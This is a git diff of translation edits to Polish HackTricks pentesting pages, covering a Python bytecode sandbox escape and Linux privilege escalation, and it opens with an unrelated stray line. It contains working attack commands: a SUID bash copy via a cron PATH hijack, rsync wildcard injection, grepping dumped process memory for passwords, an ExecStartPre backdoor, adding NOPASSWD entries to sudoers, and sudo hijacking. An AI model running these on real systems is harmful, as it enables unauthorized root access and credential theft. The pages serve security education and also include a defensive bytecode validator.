Generowanie liczb powinno być trywialne:
|
||||
|
||||
@ -271,7 +271,7 @@ if obj is not None:
|
||||
print(idx, type(obj), repr(obj)[:80])
|
||||
```
|
||||
Notes
|
||||
- Aby zamiast tego badać nazwy, zamień `LOAD_CONST` na `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR` i dostosuj użycie stosu odpowiednio.
|
||||
- Aby zamiast tego zbadać nazwy, zamień `LOAD_CONST` na `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR` i dostosuj użycie stosu odpowiednio.
|
||||
- Użyj `EXTENDED_ARG` lub wielu bajtów `arg`, aby osiągnąć indeksy >255, jeśli to konieczne. Podczas budowania z `dis` jak powyżej, kontrolujesz tylko niski bajt; dla większych indeksów skonstruuj surowe bajty samodzielnie lub podziel atak na wiele ładowań.
|
||||
|
||||
### Minimalny wzór RCE tylko z bajtów (co_consts OOB → builtins → eval/input)
|
||||
@ -287,9 +287,9 @@ Gdy zidentyfikujesz indeks `co_consts`, który odnosi się do modułu builtins,
|
||||
```
|
||||
To podejście jest przydatne w wyzwaniach, które dają bezpośrednią kontrolę nad `co_code`, jednocześnie wymuszając `co_consts=()` i `co_names=()` (np. BCTF 2024 “awpcode”). Unika sztuczek na poziomie źródła i utrzymuje mały rozmiar ładunku, wykorzystując operacje stosu bajtowego i budowniczych krotek.
|
||||
|
||||
### Sprawdzanie defensywne i łagodzenia dla piaskownic
|
||||
### Sprawdzanie defensywne i łagodzenie dla piaskownic
|
||||
|
||||
Jeśli piszesz "piaskownicę" w Pythonie, która kompiluje/ocenia nieufny kod lub manipuluje obiektami kodu, nie polegaj na CPython w sprawdzaniu granic indeksów krotek używanych przez bajtowy kod. Zamiast tego, samodzielnie waliduj obiekty kodu przed ich wykonaniem.
|
||||
Jeśli piszesz "piaskownicę" w Pythonie, która kompiluje/ocenia nieufny kod lub manipuluje obiektami kodu, nie polegaj na CPython do sprawdzania granic indeksów krotek używanych przez bajtowy kod. Zamiast tego, samodzielnie waliduj obiekty kodu przed ich wykonaniem.
|
||||
|
||||
Praktyczny walidator (odrzuca dostęp OOB do co_consts/co_names)
|
||||
```python
|
||||
@ -324,12 +324,11 @@ raise ValueError("Bytecode refers to name index beyond co_names length")
|
||||
# eval(c, {'__builtins__': {}})
|
||||
```
|
||||
Dodatkowe pomysły na łagodzenie
|
||||
|
||||
- Nie pozwalaj na dowolne `CodeType.replace(...)` na niezaufanym wejściu, lub dodaj ścisłe kontrole strukturalne na wynikowym obiekcie kodu.
|
||||
- Rozważ uruchamianie niezaufanego kodu w osobnym procesie z użyciem sandboxingu na poziomie systemu operacyjnego (seccomp, obiekty zadań, kontenery) zamiast polegać na semantyce CPython.
|
||||
- Nie pozwalaj na dowolne `CodeType.replace(...)` na nieufnych danych wejściowych lub dodaj ścisłe kontrole strukturalne na wynikowym obiekcie kodu.
|
||||
- Rozważ uruchamianie nieufnego kodu w osobnym procesie z użyciem sandboxingu na poziomie systemu operacyjnego (seccomp, obiekty zadań, kontenery) zamiast polegać na semantyce CPython.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- Artykuł Splitline’a z HITCON CTF 2022 „V O I D” (pochodzenie tej techniki i ogólny łańcuch exploitów): https://blog.splitline.tw/hitcon-ctf-2022/
|
||||
- Opis HITCON CTF 2022 autorstwa Splitline "V O I D" (pochodzenie tej techniki i ogólny łańcuch exploitów): https://blog.splitline.tw/hitcon-ctf-2022/
|
||||
- Dokumentacja dezasemblatora Pythona (semantyka indeksów dla LOAD_CONST/LOAD_NAME/itd., oraz niskobitowe flagi `LOAD_ATTR`/`LOAD_GLOBAL` w wersji 3.11+): https://docs.python.org/3.13/library/dis.html
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -140,7 +140,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
|
||||
```
|
||||
## Przydatne oprogramowanie
|
||||
|
||||
Wylicz przydatne binaria
|
||||
Wymień przydatne binaria
|
||||
```bash
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||||
```
|
||||
@ -148,7 +148,7 @@ Sprawdź, czy **jakikolwiek kompilator jest zainstalowany**. Jest to przydatne,
|
||||
```bash
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
### Zainstalowane oprogramowanie podatne
|
||||
### Zainstalowane oprogramowanie z lukami
|
||||
|
||||
Sprawdź **wersję zainstalowanych pakietów i usług**. Może istnieje jakaś stara wersja Nagios (na przykład), która mogłaby być wykorzystana do eskalacji uprawnień…\
|
||||
Zaleca się ręczne sprawdzenie wersji bardziej podejrzanego zainstalowanego oprogramowania.
|
||||
@ -168,21 +168,21 @@ ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Zawsze sprawdzaj, czy działają możliwe [**debuggery electron/cef/chromium**; możesz je wykorzystać do eskalacji uprawnień](electron-cef-chromium-debugger-abuse.md). **Linpeas** wykrywa je, sprawdzając parametr `--inspect` w wierszu poleceń procesu.\
|
||||
Zawsze sprawdzaj możliwe [**debuggery electron/cef/chromium** działające, możesz je wykorzystać do eskalacji uprawnień](electron-cef-chromium-debugger-abuse.md). **Linpeas** wykrywa je, sprawdzając parametr `--inspect` w wierszu poleceń procesu.\
|
||||
Również **sprawdź swoje uprawnienia do binarnych plików procesów**, może uda ci się nadpisać kogoś.
|
||||
|
||||
### Monitorowanie procesów
|
||||
|
||||
Możesz użyć narzędzi takich jak [**pspy**](https://github.com/DominicBreuker/pspy) do monitorowania procesów. Może to być bardzo przydatne do identyfikacji podatnych procesów, które są często uruchamiane lub gdy spełniony jest zestaw wymagań.
|
||||
|
||||
### Pamięć procesu
|
||||
### Pamięć procesów
|
||||
|
||||
Niektóre usługi serwera zapisują **dane uwierzytelniające w postaci czystego tekstu w pamięci**.\
|
||||
Zazwyczaj będziesz potrzebować **uprawnień roota**, aby odczytać pamięć procesów, które należą do innych użytkowników, dlatego jest to zazwyczaj bardziej przydatne, gdy już jesteś rootem i chcesz odkryć więcej danych uwierzytelniających.\
|
||||
Normalnie będziesz potrzebować **uprawnień roota**, aby odczytać pamięć procesów, które należą do innych użytkowników, dlatego jest to zazwyczaj bardziej przydatne, gdy już jesteś rootem i chcesz odkryć więcej danych uwierzytelniających.\
|
||||
Jednak pamiętaj, że **jako zwykły użytkownik możesz odczytać pamięć procesów, które posiadasz**.
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że obecnie większość maszyn **domyślnie nie pozwala na ptrace**, co oznacza, że nie możesz zrzucać innych procesów, które należą do twojego nieuprzywilejowanego użytkownika.
|
||||
> Zauważ, że obecnie większość maszyn **domyślnie nie pozwala na ptrace**, co oznacza, że nie możesz zrzucić innych procesów, które należą do twojego nieuprzywilejowanego użytkownika.
|
||||
>
|
||||
> Plik _**/proc/sys/kernel/yama/ptrace_scope**_ kontroluje dostępność ptrace:
|
||||
>
|
||||
@ -270,7 +270,7 @@ Aby zrzucić pamięć procesu, możesz użyć:
|
||||
|
||||
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania dotyczące roota i zrzucić proces, który jest przez Ciebie posiadany
|
||||
- Skrypt A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany jest root)
|
||||
- Skrypt A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany root)
|
||||
|
||||
### Poświadczenia z pamięci procesu
|
||||
|
||||
@ -281,7 +281,7 @@ Jeśli znajdziesz, że proces uwierzytelniający jest uruchomiony:
|
||||
ps -ef | grep "authenticator"
|
||||
root 2027 2025 0 11:46 ? 00:00:00 authenticator
|
||||
```
|
||||
Możesz zrzucić proces (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby na zrzucenie pamięci procesu) i wyszukać poświadczenia w pamięci:
|
||||
Możesz zrzucić proces (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby zrzucania pamięci procesu) i przeszukać pamięć w poszukiwaniu poświadczeń:
|
||||
```bash
|
||||
./dump-memory.sh 2027
|
||||
strings *.dump | grep -i password
|
||||
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
||||
```
|
||||
## Zaplanowane/zadania Cron
|
||||
|
||||
Sprawdź, czy jakiekolwiek zaplanowane zadanie jest podatne. Może uda ci się skorzystać ze skryptu uruchamianego przez root (vuln z użyciem symboli wieloznacznych? można modyfikować pliki używane przez root? użyj symlinków? utwórz konkretne pliki w katalogu, który używa root?).
|
||||
Sprawdź, czy jakiekolwiek zaplanowane zadanie jest podatne. Może uda ci się skorzystać ze skryptu uruchamianego przez roota (vuln z użyciem symboli wieloznacznych? można modyfikować pliki używane przez roota? użyj symlinków? utwórz konkretne pliki w katalogu, który używa root?).
|
||||
```bash
|
||||
crontab -l
|
||||
ls -al /etc/cron* /etc/at*
|
||||
@ -327,7 +327,7 @@ Na przykład, w _/etc/crontab_ możesz znaleźć PATH: _PATH=**/home/user**:/usr
|
||||
|
||||
(_Zauważ, że użytkownik "user" ma uprawnienia do zapisu w /home/user_)
|
||||
|
||||
Jeśli w tym crontabie użytkownik root spróbuje wykonać jakąś komendę lub skrypt bez ustawienia ścieżki. Na przykład: _\* \* \* \* root overwrite.sh_\
|
||||
Jeśli w tym crontabie użytkownik root spróbuje wykonać jakieś polecenie lub skrypt bez ustawienia ścieżki. Na przykład: _\* \* \* \* root overwrite.sh_\
|
||||
Wtedy możesz uzyskać powłokę roota, używając:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
@ -336,13 +336,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
```
|
||||
### Cron używając skryptu z dziką kartą (Wildcard Injection)
|
||||
|
||||
Jeśli skrypt wykonywany przez root zawiera “**\***” w poleceniu, możesz to wykorzystać do wywołania nieoczekiwanych rzeczy (jak privesc). Przykład:
|
||||
Jeśli skrypt wykonywany przez roota zawiera “**\***” w poleceniu, możesz to wykorzystać do wywołania nieoczekiwanych rzeczy (jak privesc). Przykład:
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
**Jeśli znak wieloznaczny jest poprzedzony ścieżką, taką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).**
|
||||
**Jeśli znak wieloznaczny jest poprzedzony ścieżką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).**
|
||||
|
||||
Przeczytaj następującą stronę, aby uzyskać więcej sztuczek związanych z wykorzystaniem znaków wieloznacznych:
|
||||
Przeczytaj następującą stronę, aby poznać więcej sztuczek z wykorzystaniem znaków wieloznacznych:
|
||||
|
||||
{{#ref}}
|
||||
wildcards-spare-tricks.md
|
||||
@ -364,7 +364,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
|
||||
Możesz monitorować procesy, aby wyszukiwać procesy, które są wykonywane co 1, 2 lub 5 minut. Może uda ci się to wykorzystać i podnieść uprawnienia.
|
||||
|
||||
Na przykład, aby **monitorować co 0,1s przez 1 minutę**, **posortować według mniej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić:
|
||||
Na przykład, aby **monitorować co 0.1s przez 1 minutę**, **posortować według mniej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić:
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
@ -385,7 +385,7 @@ Na przykład stwórz swoją tylną furtkę wewnątrz pliku .service z **`ExecSta
|
||||
|
||||
### Zapisane binaria usług
|
||||
|
||||
Pamiętaj, że jeśli masz **uprawnienia do zapisu w binariach wykonywanych przez usługi**, możesz je zmienić na tylne furtki, aby gdy usługi zostaną ponownie uruchomione, tylne furtki będą wykonywane.
|
||||
Pamiętaj, że jeśli masz **uprawnienia do zapisu w binariach wykonywanych przez usługi**, możesz je zmienić na tylne furtki, aby gdy usługi zostaną ponownie uruchomione, tylne furtki zostały wykonane.
|
||||
|
||||
### systemd PATH - Ścieżki względne
|
||||
|
||||
@ -393,7 +393,7 @@ Możesz zobaczyć PATH używaną przez **systemd** za pomocą:
|
||||
```bash
|
||||
systemctl show-environment
|
||||
```
|
||||
Jeśli odkryjesz, że możesz **zapisywać** w którymkolwiek z folderów ścieżki, możesz być w stanie **eskalować uprawnienia**. Musisz poszukać **ścieżek względnych używanych w plikach konfiguracji usług** takich jak:
|
||||
Jeśli odkryjesz, że możesz **zapisywać** w dowolnym z folderów ścieżki, możesz być w stanie **eskalować uprawnienia**. Musisz poszukać **ścieżek względnych używanych w plikach konfiguracji usług** takich jak:
|
||||
```bash
|
||||
ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
@ -441,20 +441,20 @@ Zauważ, że **timer** jest **aktywowany** przez utworzenie symlink do niego w `
|
||||
|
||||
Unix Domain Sockets (UDS) umożliwiają **komunikację procesów** na tych samych lub różnych maszynach w modelach klient-serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji między komputerami i są konfigurowane za pomocą plików `.socket`.
|
||||
|
||||
Sockets można konfigurować za pomocą plików `.socket`.
|
||||
Sockets mogą być konfigurowane za pomocą plików `.socket`.
|
||||
|
||||
**Dowiedz się więcej o socketach za pomocą `man systemd.socket`.** W tym pliku można skonfigurować kilka interesujących parametrów:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje są różne, ale używa się podsumowania, aby **wskazać, gdzie będzie nasłuchiwać** na socket (ścieżka pliku socket AF_UNIX, IPv4/6 i/lub numer portu do nasłuchu itp.)
|
||||
- `Accept`: Przyjmuje argument boolean. Jeśli **prawda**, **instancja usługi jest uruchamiana dla każdego przychodzącego połączenia** i tylko socket połączenia jest do niej przekazywany. Jeśli **fałsz**, wszystkie nasłuchujące sockety są **przekazywane do uruchomionej jednostki usługi**, a tylko jedna jednostka usługi jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla socketów datagramowych i FIFO, gdzie jedna jednostka usługi bezwarunkowo obsługuje cały przychodzący ruch. **Domyślnie fałsz**. Z powodów wydajnościowych zaleca się pisanie nowych demonów tylko w sposób odpowiedni dla `Accept=no`.
|
||||
- `ExecStartPre`, `ExecStartPost`: Przyjmuje jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** tym, jak nasłuchujące **sockets**/FIFO są **tworzone** i związane, odpowiednio. Pierwszy token linii poleceń musi być absolutną nazwą pliku, a następnie muszą być podane argumenty dla procesu.
|
||||
- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** tym, jak nasłuchujące **sockets**/FIFO są **zamykane** i usuwane, odpowiednio.
|
||||
- `ExecStartPre`, `ExecStartPost`: Przyjmuje jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **socketów**/FIFO, odpowiednio. Pierwszy token linii poleceń musi być absolutną nazwą pliku, a następnie argumenty dla procesu.
|
||||
- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **socketów**/FIFO, odpowiednio.
|
||||
- `Service`: Określa nazwę jednostki **usługi**, **którą należy aktywować** przy **przychodzącym ruchu**. Ustawienie to jest dozwolone tylko dla socketów z Accept=no. Domyślnie jest to usługa, która nosi tę samą nazwę co socket (z zastąpionym sufiksem). W większości przypadków nie powinno być konieczne używanie tej opcji.
|
||||
|
||||
### Writable .socket files
|
||||
|
||||
Jeśli znajdziesz **writable** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś takiego: `ExecStartPre=/home/kali/sys/backdoor`, a backdoor zostanie wykonany przed utworzeniem socketu. Dlatego **prawdopodobnie będziesz musiał poczekać, aż maszyna zostanie uruchomiona ponownie.**\
|
||||
_Note, że system musi korzystać z tej konfiguracji pliku socket, w przeciwnym razie backdoor nie zostanie wykonany_
|
||||
Jeśli znajdziesz **writable** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś takiego: `ExecStartPre=/home/kali/sys/backdoor`, a backdoor zostanie uruchomiony przed utworzeniem socketu. Dlatego **prawdopodobnie będziesz musiał poczekać, aż maszyna zostanie zrestartowana.**\
|
||||
_Note, że system musi używać tej konfiguracji pliku socket, w przeciwnym razie backdoor nie zostanie uruchomiony_
|
||||
|
||||
### Writable sockets
|
||||
|
||||
@ -485,11 +485,11 @@ Zauważ, że mogą istnieć **gniazda nasłuchujące na żądania HTTP** (_Nie m
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
Jeśli gniazdo **odpowiada żądaniem HTTP**, możesz **komunikować się** z nim i być może **wykorzystać jakąś lukę**.
|
||||
Jeśli gniazdo **odpowiada żądaniem HTTP**, możesz **komunikować się** z nim i może uda ci się **wykorzystać jakąś lukę**.
|
||||
|
||||
### Zapisowy gniazdo Docker
|
||||
### Zapisowalny gniazdo Docker
|
||||
|
||||
Gniazdo Docker, często znajdujące się w `/var/run/docker.sock`, jest krytycznym plikiem, który powinien być zabezpieczony. Domyślnie jest zapisywalne przez użytkownika `root` i członków grupy `docker`. Posiadanie dostępu do zapisu w tym gnieździe może prowadzić do eskalacji uprawnień. Oto podział, jak można to zrobić oraz alternatywne metody, jeśli interfejs CLI Dockera nie jest dostępny.
|
||||
Gniazdo Docker, często znajdujące się w `/var/run/docker.sock`, jest krytycznym plikiem, który powinien być zabezpieczony. Domyślnie jest zapisywalne przez użytkownika `root` i członków grupy `docker`. Posiadanie dostępu do zapisu w tym gnieździe może prowadzić do eskalacji uprawnień. Oto podział, jak można to zrobić oraz alternatywne metody, jeśli CLI Docker nie jest dostępne.
|
||||
|
||||
#### **Eskalacja uprawnień z użyciem Docker CLI**
|
||||
|
||||
@ -564,11 +564,11 @@ runc-privilege-escalation.md
|
||||
|
||||
D-Bus to zaawansowany **system komunikacji międzyprocesowej (IPC)**, który umożliwia aplikacjom efektywne interakcje i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidną ramę dla różnych form komunikacji aplikacji.
|
||||
|
||||
System jest wszechstronny, wspierając podstawowy IPC, który poprawia wymianę danych między procesami, przypominający **ulepszone gniazda domeny UNIX**. Ponadto wspomaga w nadawaniu zdarzeń lub sygnałów, sprzyjając płynnej integracji między komponentami systemu. Na przykład sygnał od demona Bluetooth o nadchodzącym połączeniu może spowodować, że odtwarzacz muzyki wyciszy dźwięk, poprawiając doświadczenia użytkownika. Dodatkowo D-Bus wspiera system obiektów zdalnych, upraszczając żądania usług i wywołania metod między aplikacjami, usprawniając procesy, które były tradycyjnie złożone.
|
||||
System jest wszechstronny, wspierając podstawowe IPC, które poprawia wymianę danych między procesami, przypominające **ulepszone gniazda domeny UNIX**. Ponadto, wspomaga w nadawaniu zdarzeń lub sygnałów, sprzyjając płynnej integracji między komponentami systemu. Na przykład, sygnał od demona Bluetooth o nadchodzącym połączeniu może spowodować, że odtwarzacz muzyki wyciszy dźwięk, poprawiając doświadczenia użytkownika. Dodatkowo, D-Bus wspiera system obiektów zdalnych, upraszczając żądania usług i wywołania metod między aplikacjami, usprawniając procesy, które były tradycyjnie złożone.
|
||||
|
||||
D-Bus działa na modelu **zezwolenia/odmowy**, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie kumulatywnego efektu dopasowanych reguł polityki. Polityki te określają interakcje z magistralą, potencjalnie umożliwiając eskalację uprawnień poprzez wykorzystanie tych uprawnień.
|
||||
|
||||
Przykład takiej polityki w `/etc/dbus-1/system.d/wpa_supplicant.conf` jest podany, szczegółowo opisując uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od `fi.w1.wpa_supplicant1`.
|
||||
Przykład takiej polityki w `/etc/dbus-1/system.d/wpa_supplicant.conf` jest podany, szczegółowo opisując uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości z `fi.w1.wpa_supplicant1`.
|
||||
|
||||
Polityki bez określonego użytkownika lub grupy mają zastosowanie uniwersalne, podczas gdy polityki kontekstu "domyślnego" mają zastosowanie do wszystkich, które nie są objęte innymi specyficznymi politykami.
|
||||
```xml
|
||||
@ -614,7 +614,7 @@ lsof -i
|
||||
```
|
||||
### Otwarte porty
|
||||
|
||||
Zawsze sprawdzaj usługi sieciowe działające na maszynie, z którą nie mogłeś się wcześniej skontaktować:
|
||||
Zawsze sprawdzaj usługi sieciowe działające na maszynie, z którą nie mogłeś się wcześniej skontaktować przed uzyskaniem do niej dostępu:
|
||||
```bash
|
||||
(netstat -punta || ss --ntpu)
|
||||
(netstat -punta || ss --ntpu) | grep "127.0"
|
||||
@ -677,28 +677,28 @@ echo "Highlighted text: "`xsel -o 2>/dev/null`
|
||||
else echo "Not found xsel and xclip"
|
||||
fi
|
||||
```
|
||||
### Polityka haseł
|
||||
### Polityka Haseł
|
||||
```bash
|
||||
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
|
||||
```
|
||||
### Znane hasła
|
||||
|
||||
Jeśli **znasz jakieś hasło** środowiska, **spróbuj zalogować się jako każdy użytkownik** używając tego hasła.
|
||||
Jeśli **znasz jakiekolwiek hasło** środowiska **spróbuj zalogować się jako każdy użytkownik** używając tego hasła.
|
||||
|
||||
### Su Brute
|
||||
|
||||
Jeśli nie przeszkadza Ci robienie dużego hałasu i binaria `su` oraz `timeout` są obecne na komputerze, możesz spróbować przeprowadzić atak brute-force na użytkowników używając [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
Jeśli nie przeszkadza ci robienie dużego hałasu i binaria `su` oraz `timeout` są obecne na komputerze, możesz spróbować przeprowadzić atak brute-force na użytkowników używając [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` również próbuje przeprowadzić atak brute-force na użytkowników.
|
||||
|
||||
## Nadużycia związane z zapisywalnym PATH
|
||||
## Nadużycia zapisywalnego PATH
|
||||
|
||||
### $PATH
|
||||
|
||||
Jeśli odkryjesz, że możesz **zapisywać w niektórym folderze w $PATH**, możesz być w stanie podnieść uprawnienia, **tworząc tylne drzwi w zapisywalnym folderze** o nazwie jakiejś komendy, która będzie wykonywana przez innego użytkownika (najlepiej root) i która **nie jest ładowana z folderu znajdującego się przed** Twoim zapisywalnym folderem w $PATH.
|
||||
Jeśli odkryjesz, że możesz **zapisywać w niektórym folderze $PATH**, możesz być w stanie podnieść uprawnienia poprzez **utworzenie tylnej furtki w zapisywalnym folderze** o nazwie jakiejś komendy, która będzie wykonywana przez innego użytkownika (najlepiej root) i która **nie jest ładowana z folderu znajdującego się przed** twoim zapisywalnym folderem w $PATH.
|
||||
|
||||
### SUDO i SUID
|
||||
|
||||
Możesz mieć pozwolenie na wykonanie niektórej komendy za pomocą sudo lub mogą mieć ustawiony bit suid. Sprawdź to używając:
|
||||
Możesz mieć pozwolenie na wykonanie niektórej komendy używając sudo lub mogą mieć bit suid. Sprawdź to używając:
|
||||
```bash
|
||||
sudo -l #Check commands you can execute with sudo
|
||||
find / -perm -4000 2>/dev/null #Find all SUID binaries
|
||||
@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
|
||||
|
||||
### Komenda Sudo/binary SUID bez ścieżki komendy
|
||||
|
||||
Jeśli **uprawnienie sudo** jest przyznane do pojedynczej komendy **bez określenia ścieżki**: _hacker10 ALL= (root) less_, możesz to wykorzystać, zmieniając zmienną PATH.
|
||||
Jeśli **uprawnienie sudo** jest przyznane do pojedynczej komendy **bez określenia ścieżki**: _hacker10 ALL= (root) less_ możesz to wykorzystać, zmieniając zmienną PATH
|
||||
```bash
|
||||
export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
@ -767,7 +767,7 @@ Ta technika może być również używana, jeśli **suid** binarny **wykonuje in
|
||||
|
||||
[Przykłady ładunków do wykonania.](payloads-to-execute.md)
|
||||
|
||||
### Binarne pliki SUID z określoną ścieżką do polecenia
|
||||
### Binarne pliki SUID z określoną ścieżką polecenia
|
||||
|
||||
Jeśli **suid** binarny **wykonuje inne polecenie, określając ścieżkę**, wtedy możesz spróbować **wyeksportować funkcję** o nazwie odpowiadającej poleceniu, które wywołuje plik suid.
|
||||
|
||||
@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
|
||||
```
|
||||
### SUID Binary – .so injection
|
||||
|
||||
Kiedy napotkasz binarny plik z uprawnieniami **SUID**, który wydaje się nietypowy, dobrym zwyczajem jest sprawdzenie, czy poprawnie ładuje pliki **.so**. Można to sprawdzić, uruchamiając następujące polecenie:
|
||||
Gdy napotkasz binarkę z uprawnieniami **SUID**, która wydaje się nietypowa, dobrym zwyczajem jest sprawdzenie, czy poprawnie ładuje pliki **.so**. Można to sprawdzić, uruchamiając następujące polecenie:
|
||||
```bash
|
||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
@ -921,8 +921,8 @@ Wymagania do eskalacji uprawnień:
|
||||
|
||||
- Już masz powłokę jako użytkownik "_sampleuser_"
|
||||
- "_sampleuser_" **użył `sudo`** do wykonania czegoś w **ostatnich 15 minutach** (domyślnie to czas trwania tokena sudo, który pozwala nam używać `sudo` bez wprowadzania hasła)
|
||||
- `cat /proc/sys/kernel/yama/ptrace_scope` to 0
|
||||
- `gdb` jest dostępny (możesz być w stanie go przesłać)
|
||||
- `cat /proc/sys/kernel/yama/ptrace_scope` wynosi 0
|
||||
- `gdb` jest dostępny (możesz go przesłać)
|
||||
|
||||
(Możesz tymczasowo włączyć `ptrace_scope` za pomocą `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub trwale modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`)
|
||||
|
||||
@ -954,12 +954,12 @@ Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz
|
||||
### /etc/sudoers, /etc/sudoers.d
|
||||
|
||||
Plik `/etc/sudoers` oraz pliki w `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **domyślnie mogą być odczytywane tylko przez użytkownika root i grupę root**.\
|
||||
**Jeśli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać interesujące informacje**, a jeśli możesz **zapisać** jakikolwiek plik, będziesz mógł **eskalować uprawnienia**.
|
||||
**Jeśli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać interesujące informacje**, a jeśli możesz **zapisać** jakikolwiek plik, będziesz w stanie **eskalować uprawnienia**.
|
||||
```bash
|
||||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
ls -ld /etc/sudoers.d/
|
||||
```
|
||||
Jeśli potrafisz pisać, możesz nadużyć tego uprawnienia.
|
||||
Jeśli potrafisz pisać, możesz nadużyć tej uprawnienia.
|
||||
```bash
|
||||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
|
||||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
|
||||
@ -979,7 +979,7 @@ permit nopass demo as root cmd vim
|
||||
```
|
||||
### Sudo Hijacking
|
||||
|
||||
Jeśli wiesz, że **użytkownik zazwyczaj łączy się z maszyną i używa `sudo`** do eskalacji uprawnień i uzyskałeś powłokę w kontekście tego użytkownika, możesz **utworzyć nowy plik wykonywalny sudo**, który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie **zmodyfikuj $PATH** kontekstu użytkownika (na przykład dodając nową ścieżkę w .bash_profile), aby gdy użytkownik wykona sudo, twój plik wykonywalny sudo został uruchomiony.
|
||||
Jeśli wiesz, że **użytkownik zazwyczaj łączy się z maszyną i używa `sudo`** do eskalacji uprawnień i masz powłokę w kontekście tego użytkownika, możesz **utworzyć nowy plik wykonywalny sudo**, który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie **zmodyfikuj $PATH** kontekstu użytkownika (na przykład dodając nową ścieżkę w .bash_profile), aby gdy użytkownik wykona sudo, twój plik wykonywalny sudo został uruchomiony.
|
||||
|
||||
